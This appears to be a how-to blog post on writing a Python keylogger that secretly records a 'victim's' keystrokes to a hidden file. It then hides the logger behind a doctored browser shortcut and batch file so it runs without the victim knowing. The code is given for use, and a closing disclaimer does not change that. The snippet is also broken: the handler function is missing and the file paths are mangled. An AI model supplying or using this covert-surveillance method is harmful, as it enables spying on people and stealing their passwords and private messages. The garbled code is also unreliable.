I have started doing python programming just few months ago. I was wondering if there was a way I could make a Python key logger, that I could write and log all the key stroke.
Hi Lifestohack reader,
Help yourself, but be careful while using it.
Have you ever wanted to become a ‘Hacker’, today you have a little chance to prank your friends or just to show off your computer knowledge, So I’m going to explain you how to write a simple “Spy” program in Python, Which will take as input any character that has been pressed by user on physical keyboard of the PC and save it in a .txt file
What you need is:
1) Operating system: Windows or MacOs, (also can any Linux based, but I have never tried)
2) Python Development kit (must be installed on the “victim” computer) as well as special libraries for Python.
All links for free-ware software will be listed below
3) Basic knowledge of PC
How to make a Python key logger?
1)You can download Python Development kit and install it.
2)So, after installing Python Development Kit, you need to install special modules so called “pyHook” and “pywin32”. You can find 32- and 64-bit Windows binaries of many scientific open-source extension packages including “pyHook” and “pywin32”.Search for “PYhook” and “pyWin32” and choose your version according to your version of Python that you installed and Windows (32bit or 64bit).
3)After you finish downloading install it,open IDLE(Python GUI) from the start menu.
and Click on File>New File. Paste the following code.
#Name: Sanan Panahli
#Website : www.lifestohack.com
import pyHook, pythoncom, sys, logging
file_log = 'C:keyloggeroutput.txt'
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
Save it as Keylogger.pyw .
Helpful Tips: Don’t directly save it on the C: folder where you need administrative rights to copy or delete files. Make a new folder on C: drive or elsewhere where you don’t need administrative rights to copy the files and save your Keylogger.pyw on that folder.
It should be saved somewhere where your ‘victim’ doesn’t enter. As a output “file_log = ‘C:keyloggeroutput.txt'” you can choose wherever you want to save, but better of course some hidden place of Hard Disc. In our case let’s say at “C:keyloggerkeylogger.pyw”
Your Keylogger is ready; the next thing is you should be able to run it without the user knowing that it has been launched. One thing that can be done is attach it to the program that the victim always uses.
4)To do that you have to create batch file on a desktop, Open a new Notepad or Notepad++ and Paste the following code.
::Name: Sanan Panahli
::Website : www.lifestohack.com
start "" "C:keyloggerkeylogger.pyw"
start "" "C:Program FilesOperalauncher.exe"
Save it as logger.bat extension, and save it somewhere where your victim will not see. For example at “C:keyloggerlogger.bat”
In the first line you should write the path of the keylogger.pyw where you saved earlier. In this example at “C:keyloggerkeylogger.pyw”. In the second line you should write the path of the software what the victim usually uses. In this case Opera Internet Browsers. “Victim” will not know that he/she is actually starting your program in the background.
5)Now you have to right click on the Software that the users use all the time. Like the opera in the example above and click on properties. You will see a field where it is written Target. Change the target field to the batch file logger.bat that you created. In this case at “C:keyloggerlogger.bat”. After editing the Target click on OK. You will see that the Icon of that software is changed.
6)Again Right click on that Icon and click on Properties. You can see the option Change Symbol. Click there and choose the Icon of that Software. If you don’t see the Icon than you can download the icon from the Internet.
Now whenever the victim opens the opera browser it will automatically run the batch file without victim knowing that batch file has been launched and it will log all the keystroke at C:keyloggeroutput.txt”.
This article is only made for Learning and Fun purpose only, not for Hacking, as you know Hacking is ILLEGAL. You can Download the full source code here.
If you need more help than you can get the help from this video.
with love from Lifestohack.